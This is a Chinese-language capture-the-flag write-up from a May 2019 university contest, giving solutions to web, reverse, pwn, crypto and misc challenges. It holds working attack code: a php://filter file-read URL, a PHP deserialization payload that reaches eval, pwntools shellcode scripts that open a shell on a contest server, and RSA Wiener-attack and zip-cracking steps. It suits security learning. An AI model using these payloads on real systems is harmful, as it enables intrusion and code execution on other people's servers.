Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. web签到1
  3. 3. Web签到2
    1. 3.1. 分析:
    2. 3.2. bypass1
    3. 3.3. bypass2
    4. 3.4. bypass3
    5. 3.5. exp:
  • Reverse
    1. 1. 签到
  • Pwn
    1. 1. 签到
      1. 1.1. where
      2. 1.2. how
      3. 1.3. exp
    2. 2. pwn3
      1. 2.1. where
      2. 2.2. how
      3. 2.3. exp
  • Crypto
    1. 1. 古典密码签到
    2. 2. 现代密码签到
    3. 3. easyxor
    4. 4. encode
    5. 5. RSA
  • Misc
    1. 1. Whoami???
    2. 2. Lisp
      1. 2.1. 先学一波语言
        1. 2.1.1. define
        2. 2.1.2. append
        3. 2.1.3. pair
        4. 2.1.4. let
        5. 2.1.5. car & cdr
        6. 2.1.6. cond
        7. 2.1.7. remainder
      2. 2.2. 理解代码
      3. 2.3. Exploit now!
    3. 3. 猜?
    4. 4. 真真假假
  • 前言

    2019年5月

    By 窝不管窝的flag都队

    考试周的月赛,也得做做看看,划水

    正文

    web签到1

    EJuRMt.png

    直接试试http://202.119.201.199:30100/index.php?page=php://filter/read=convert.base64-encode/resource=cxk.php

    得到一串base64编码

    PD9waHAgDQpwaHBpbmZvKCk7IA0KLypmbGFne0N1bXRDVEZfdGhpc19pU19hX1JFbEx5X2ZMYUchISF9Ki8NCj8+DQo=

    解密,得到flag

    EJu4Z8.png

    Web签到2

    考察反序列化漏洞的知识,给出源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    <?php
    include 'flag.php';
    error_reporting(0);
    highlight_file(__FILE__);
    class P {
    private $var;
    function __invoke(){
    eval(
    'global '.$this -> var.';'.
    '$ret = '.$this -> var.';'
    );
    return $ret;
    }
    }
    class K {
    protected $fn;
    public $name;
    function __toString(){
    $fn = $this -> fn;
    return $fn();
    }
    }
    class U {
    public $obj;
    function __wakeup(){
    if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
    $this -> obj -> fn = function(){};
    }
    }
    }
    echo unserialize($_POST['obj'])->obj;

    分析:

    三个类分别是P,K,U;

    P 中 $var,权限为 private,魔术方法 __invoke(),当尝试以调用函数的方式调用一个对象时,方法会被自动调用;

    K 中 $fn$name,权限为 protected,魔术方法 __toString(),将 $fn 以函数方式返回 $fn();到这里就会想到上面的 invoke(),那这里的 $fn 就肯定是 P 的一个对象;

    U 中 $obj,魔术方法 __wakeup(),要求 $this->obj->name == "iv4n"

    bypass1

    想到绕过 __wakeup(),但是要求可以达到,就直接 new 一个 U 的对象,将对象中的数据成员 $obj 赋值为一个K 的对象,将此对象的 $name 赋值为 iv4n 即可,其实不算绕过(手动狗头);

    bypass2

    接下来就是如何调用到 $fn,这里需要注意的是变量的权限问题,这里为 protected,但是在外面无法赋值,这里写个脚本做个测试:

    脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    class run{
    private $kk1='$flag';
    protected $kk2='b';
    public $kk3='c';
    }
    $gardenia1=new run();
    echo (serialize($gardenia1));
    ?>

    输出:

    EJbAi9.png

    显而易见,在序列化的时候:

    private变量改为了 0x00类名0x00变量,在此基础上字符数量也需要修改;

    EJb2LT.png

    protected变量改为了 0x00*0x00变量,在此基础上字符数量同样需要修改;

    EJbWeU.png

    bypass3

    此时就可以直接看 __invoke() 函数了,因为包含了flag.php,所以猜想里面存在变量 $flag,所以在 eval() 内执行如下语句:

    1
    eval(global $flag;$ret=$flag;);

    $flag 转化为全局变量,直接赋值 $ret,输出即可得到flag;

    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <?php

    class P {
    public $var='$flag';

    function __invoke(){
    eval(
    'global '.$this -> var.';'.
    '$ret = '.$this -> var.';'
    );
    return 'invoke';
    }
    }
    //返回fn()
    class K {
    public $fn;
    public $name;

    function __toString(){
    $fn = $this -> fn;
    return $fn;
    }
    }

    class U {
    public $obj;

    function __wakeup(){
    if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
    $this -> obj -> fn = function(){};
    }
    }
    }

    $gardenia1=new P();
    $gardenia2=new K();
    $gardenia2->fn=$gardenia1;
    $gardenia2->name='iv4n';
    $gardenia3=new U();
    $gardenia3->obj=$gardenia2;
    $res=serialize($gardenia3);
    echo($res);

    得到:

    1
    O:1:"U":1:{s:3:"obj";O:1:"K":2:{s:2:"fn";O:1:"P":1:{s:3:"var";s:5:"$flag";}s:4:"name";s:4:"iv4n";}}

    按照上面的修改即可得到 poc:

    1
    obj=O:1:"U":1:{s:3:"obj";O:1:"K":2:{s:5:"%00*%00fn";O:1:"P":1:{s:6:"%00P%00var";s:5:"$flag";}s:4:"name";s:4:"iv4n";}}

    得到 flag:

    EJqZkQ.png

    Reverse

    签到

    拖进 IDA,F5 看看,主函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pattern = 4180;
    v6 = 8299;
    v7 = 12378;
    v8 = 16431;
    v9 = 20498;
    v10 = 24663;
    v11 = 28742;
    v12 = 33000;
    v13 = 37073;
    v14 = 41164;
    printf(aS, aPleaseInputFla);
    scanf(aS, &input);
    if ( strlen(&input) <= 20 && sub_401000(&input, &pattern) )
    {
    printf(aFlagS, &input);
    system(aPause);
    exit(0);
    }

    这些变量都是 int 类型的,占 4 B。由 if 语句我们可以知道:

    1. 输入长度不能大于 20
    2. sub_401000(&input, &pattern) 返回值应为 1

    看看 sub_401000() 函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    signed int __cdecl sub_401000(const char *input, _BYTE *pattern)
    {
    unsigned int i; // edx
    _BYTE *pp; // esi

    i = 0;
    if ( strlen(input) == 0 )
    return 1;
    pp = pattern;
    while ( (pp[1] ^ input[i]) == *pp )
    {
    ++i;
    pp += 4;
    if ( i >= strlen(input) )
    return 1;
    }
    return 0;
    }

    过程很简单,就是判断 pattern[i] = pattern[i+1]^input[i] 是否成立,根据异或运算的性质,我们容易推出:input[i]=pattern[i]^pattern[i+1],那就很容易写出 Python 脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #coding=utf-8

    data = [4180,8299,12378,16431,20498,24663,28742,33000,37073,41164]

    flag = ""
    for x in data:
    a = x//256
    b = x%256
    flag += chr(a^b)
    flag = "flag{"+flag+"}"
    print flag

    运行结果:

    1
    flag{DKjoB76hAl}

    Pwn

    签到

    where

    写入可执行 bss 段。
    栈溢出。

    how

    ret2shellcode。

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
    #p = remote('202.119.201.199', 59991)
    p = process('./q')

    context.clear(arch='i386')
    shellcode = asm(shellcraft.sh())

    buf2 = 0x0804C060
    payload = p32(buf2+4) + shellcode.ljust((0x64-8-4), 'A') + p32(buf2+4)
    #gdb.attach(p)
    p.sendline(payload)

    p.interactive()

    pwn3

    where

    写name至可执行bss段。

    id

    bss

    vmmap

    存在栈溢出。

    echo1

    how

    ret2shellcode

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    p = remote('202.119.201.199', 59993)#process('./pwn3')
    context.clear(arch='amd64')
    shellcode = asm(shellcraft.sh())

    p.recvuntil(':')
    p.sendline(asm('jmp rsp'))
    p.recvuntil('>')
    p.sendline('1')
    p.sendline('A'*(0x20+8) + p64(0x6020a0) + shellcode)

    p.interactive()

    Crypto

    古典密码签到

    一看就是 Hex 编码,直接 Hackbar 解码:

    1
    2
    密文:juttaigykhpmjyreca
    密钥:cumt

    一个密文,一个密钥,古典密码,猜测是维吉尼亚密码。然后直接在线解下

    img

    1
    flag{hahayoufindtheflag}

    现代密码签到

    密文一看就是 bas64 编码,密钥我原来以为就是就是那个,数了下有 16 个字符,那就是 128 bit,尝试 AES、3DES、RC4 解密均失败。后来才发现是经过两次 base64 编码的结果。后来数了下,密文是 26 个字符,不是 8 的整数倍那种,猜测是序列密码,序列密码最常见的是 RC4,所以先试试 RC4解密,直接用 pycrypto 解密,:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #-*- coding:utf-8 -*-
    #Stream Cipher: RC4
    import base64
    from Crypto.Cipher import ARC4

    s = "zSLWE5Fk7Sg3mlltw9l2N7dhuADvk2HvWYU="
    k = "WTNWdGRHWnNZV2M9"
    s = base64.b64decode(s)
    k = base64.b64decode(base64.b64decode(k))
    print len(s)
    print k
    rc4 = ARC4.new(k)
    plaintext = rc4.decrypt(s)
    print plaintext

    运行结果:

    1
    2
    3
    26
    cumtflag
    flag{CumT_D0uB13_MooN_cTf}

    easyxor

    有 hint 后是送分题,直接上 Python 脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #coding=utf-8
    import libnum
    flag = 'flag{**************************}'

    def crypt(n):
    msg = libnum.s2n(n)
    k = 0
    for i in bin(msg)[2:]:
    k = k << 1
    if int(i):
    k = k ^ msg
    if k >> 256:
    k = k ^ 0x10000000000000000000000000000000000000000000000000000000000000365
    # return str(k)
    return libnum.n2s(k)

    s = 113493740270492087381619361102311635177554834526932164090282635858419073655670
    s = libnum.n2s(s)
    cnt = 1
    while True:
    print str(cnt)+" try:"
    s = crypt(s)
    if "flag" in s:
    print(s)
    break
    cnt += 1

    结果:

    1
    flag{ec33f669d2d659e2bc27dbffdf}

    encode

    给了一个 .pyc 文件,这里用到一个在线网站反编译:https://tool.lu/pyc/

    稍微看下代码,直接写出对应编码函数的逆函数即可:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    #!/usr/bin/env python
    # encoding: utf-8
    import base64

    def decode1(ans):
    ret = ""
    for x in ans:
    y = ord(x)-25
    ret += chr(y^36)
    return ret

    def decode2(ans):
    ret = ""
    for x in ans:
    y = ord(x)^36
    y -= 36
    ret += chr(y)
    return ret

    def decode3(ans):
    return base64.b32decode(ans)

    final = 'LOQ2NJFYU5YH2WTUU5VHJIDXLJNVW2LQO52WS2L6PVUVW2TQLJNVSWLJUBN3E==='
    print decode1(decode2(decode3(final)))

    运行结果:

    1
    flag{b38e7b57c2eff432044984f53efdd4cf}

    RSA

    题目给了一个 .pem 文件,里面有公钥信息:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -----BEGIN PUBLIC KEY-----
    MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQKBPJR+6zDQPEK6ZY+xAdHS
    /Sw69BJG2IrKGOMQ7mk6vdpFlR0F2ZuqiYy6MEXG+KDv9yCrayeV0Yw+JwoNozIB
    rTl74KXVk84FHmn6iYQceqtGjcb2frmkID0SBXgNBti1CNUOe/v6GeyXl0j3JPmn
    B1wy9BldH3vSS9FJr6DGIwKBgQGtbGUOVzO5qyoOMo+/bdqnxqA4NHjUciH+GDaU
    yKgjp4X47PFyHYc6HI0tyMmjxmo/nUXV7MTGVnk2lYoLuuSM8aNWyBgCdGf0bVxw
    UtmMyDqr6Z7GL6djTSiUtWIyi0duMsGrPPxOTfZRkbVgj/r0OopZIDbc+zDxHsNU
    wl2PXQ==
    -----END PUBLIC KEY-----

    看起来像 base64 ,应该这个文件还有一定结构,直接在线 decoder 解析下,链接:https://report-uri.com/home/pem_decoder

    发现这 e 很大呀,推测可以用低解密指数攻击(wiener attack),直接用 github 上别人的板子,链接:https://github.com/pablocelayes/rsa-wiener-attack

    写如下 Python 脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #coding=utf-8
    import sys
    sys.setrecursionlimit(10000000)

    import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
    import libnum

    def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)

    for (k,d) in convergents:

    #check if d is actually the key
    if k!=0 and (e*d-1)%k == 0:
    phi = (e*d-1)//k
    s = n - phi + 1
    # check if the equation x^2 - s*x + n = 0
    # has integer roots
    discr = s*s - 4*n
    if(discr>=0):
    t = Arithmetic.is_perfect_square(discr)
    if t!=-1 and (s+t)%2==0:
    print("Hacked!")
    return d

    n = 0x02813c947eeb30d03c42ba658fb101d1d2fd2c3af41246d88aca18e310ee693abdda45951d05d99baa898cba3045c6f8a0eff720ab6b2795d18c3e270a0da33201ad397be0a5d593ce051e69fa89841c7aab468dc6f67eb9a4203d1205780d06d8b508d50e7bfbfa19ec979748f724f9a7075c32f4195d1f7bd24bd149afa0c623
    e = 0x01ad6c650e5733b9ab2a0e328fbf6ddaa7c6a0383478d47221fe183694c8a823a785f8ecf1721d873a1c8d2dc8c9a3c66a3f9d45d5ecc4c6567936958a0bbae48cf1a356c818027467f46d5c7052d98cc83aabe99ec62fa7634d2894b562328b476e32c1ab3cfc4e4df65191b5608ffaf43a8a592036dcfb30f11ec354c25d8f5d
    f = open("flag.enc","rb")
    c = f.read()
    c = libnum.s2n(c)
    d = hack_RSA(e,n)
    m = pow(c,d,n)
    print libnum.n2s(m)

    运行结果前面还有一堆奇奇怪怪的字符,在后面我们看到了 flag ヾ(*・-・)ツ

    1
    flag{62fe8a611728ca62b6a7cba837abacae}

    Misc

    Whoami???

    打开题目进入懵逼状态:

    img

    疯狂乱试都失败了。

    F12 检查,转到【Network】标签看到:

    img

    好了,知道你是茶壶了,遂填入 teapot 得到 flag 。等等,今天是劳动节不是愚人节呀!

    Lisp

    先学一波语言

    define

    宏定义。

    append

    列表连接。

    pair

    有序数对,包含两个元素。

    let

    let 是一个最常用的 Common Lisp 的操作符之一,它让你引入新的局部变量(local variable):

    1
    2
    3
    > (let ((x 1) (y 2))
    (+ x y))
    3
    car & cdr

    取出列表元素的基本函数是 carcdr 。对列表取 car 返回第一个元素,而对列表取 cdr 返回第一个元素之后的所有元素:

    1
    2
    3
    4
    > (car '(a b c))
    A
    > (cdr '(a b c))
    (B C)

    你可以把 carcdr 混合使用来取得列表中的任何元素。如果我们想要取得第三个元素,我们可以:

    1
    2
    > (car (cdr (cdr '(a b c d))))
    C
    cond

    语法是 :

    1
    2
    3
    4
    (cond   (test1    action1)
    (test2 action2)
    ...
    (testn actionn))

    cond语句中的每个子句都包含条件测试和要执行的操作。类似 C 中的带 break 的 switch 。

    如果cond,test1之后的第一个测试被评估为true,则执行相关的动作部分action1,返回其值,并跳过其余的子句。

    如果test1的计算结果为nil,则控制将移至第二个子句而不执行action1,并遵循相同的过程。

    如果没有任何测试条件被评估为真,则cond语句返回nil。

    remainder

    取余。

    理解代码

    然后对照着 Lisp 代码改写成 Python 代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    tab = [97,100,206,218,135,230,70,242,104,107,95,104,97,107,100,206,101,218,137]

    iv_0 = 0x0c
    iv_1 = 0x2e
    iv_2 = 0x3a

    def conv(i):
    if i%3 == 1:
    return i*2+iv_0
    elif i%2 == 0:
    return i/2+iv_1
    elif i > 90:
    return i+iv_0
    else:
    return i+iv_2

    Exploit now!

    写出 conv() 的逆函数,并结合正则表达式给的范围写出脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    #!/usr/bin/env python
    #coding=utf-8

    tab = [97,100,206,218,135,230,70,242,104,107,95,104,97,107,100,206,101,218,137]
    legal = r"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}"


    iv_0 = 0x0c
    iv_1 = 0x2e
    iv_2 = 0x3a

    def conv(i):
    if i%3 == 1:
    return i*2+iv_0
    elif i%2 == 0:
    return i/2+iv_1
    elif i > 90:
    return i+iv_0
    else:
    return i+iv_2

    def uncov(i):
    if (i-iv_0)%2 == 0 and ((i-iv_0)/2)%3 == 1 and chr((i-iv_0)/2) in legal:
    return (i-iv_0)/2
    if i-iv_0 > 90 and chr(i-iv_0) in legal:
    return i-iv_0
    if chr(i-iv_2) in legal:
    return i-iv_2
    return ord(";")


    def uncov_2(i):
    if (i-iv_1)*2 < 256 and chr((i-iv_1)*2) in legal:
    return (i-iv_1)*2
    return ord(";")

    flag = ""
    flag2 = ""
    l = len(tab)
    for i in range(l):
    flag += chr(uncov(tab[i]))
    flag2 += chr(uncov_2(tab[i]))

    print flag
    print flag2

    运行结果:

    1
    2
    ;;ag{m;s;_;;;_;a;g}
    fl;;;;0;tzbtfzl;n;;

    然后手动七拼八凑拼成有意义的结果:

    1
    flag{m0st_btf_lang}

    猜?

    题目给了一个加密的 .zip 文件,让我们猜密码?推测可能用了弱密钥,先不管三七二十一跑下字典。用工具秒破:

    img

    解压看到里面一张图片:

    img

    试试 LSB 隐写:

    img

    真真假假

    给了一个压缩包,试试解压,但是需要密码。从题目推测可能是伪加密,拖到 Linux 下直接解压成功,有一个 img.html 文件,打开是一堆像是 base64 编码的字符。我们推测是一张图片,直接写个 Python 脚本将字符转成文件:

    1
    2
    3
    4
    5
    6
    7
    import os
    import base64
    sss = ""#那一堆字符
    data = base64.b64decode(sss)
    file = open('1',"wb")
    file.write(data)
    file.close()

    使用 file 命令看看文件是什么格式:

    1
    2
    λ file 1
    1: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, software=Adobe Photoshop 7.0, datetime=2009:11:25 21:24:19], baseline, precision 8, 550x550, frames 3

    那我们加上扩展名 .jpg,打开看看,再看看属性:

    img

    发现备注有看起来像 base64 编码的字符串,在线解下得到:

    1
    flag{h311o_tH1s_1S_f14g}
    Contents
    1. 1. 前言
    2. 2. 正文
      1. 2.1. web签到1
    3. 3. Web签到2
      1. 3.1. 分析:
      2. 3.2. bypass1
      3. 3.3. bypass2
      4. 3.4. bypass3
      5. 3.5. exp:
  • Reverse
    1. 1. 签到
  • Pwn
    1. 1. 签到
      1. 1.1. where
      2. 1.2. how
      3. 1.3. exp
    2. 2. pwn3
      1. 2.1. where
      2. 2.2. how
      3. 2.3. exp
  • Crypto
    1. 1. 古典密码签到
    2. 2. 现代密码签到
    3. 3. easyxor
    4. 4. encode
    5. 5. RSA
  • Misc
    1. 1. Whoami???
    2. 2. Lisp
      1. 2.1. 先学一波语言
        1. 2.1.1. define
        2. 2.1.2. append
        3. 2.1.3. pair
        4. 2.1.4. let
        5. 2.1.5. car & cdr
        6. 2.1.6. cond
        7. 2.1.7. remainder
      2. 2.2. 理解代码
      3. 2.3. Exploit now!
    3. 3. 猜?
    4. 4. 真真假假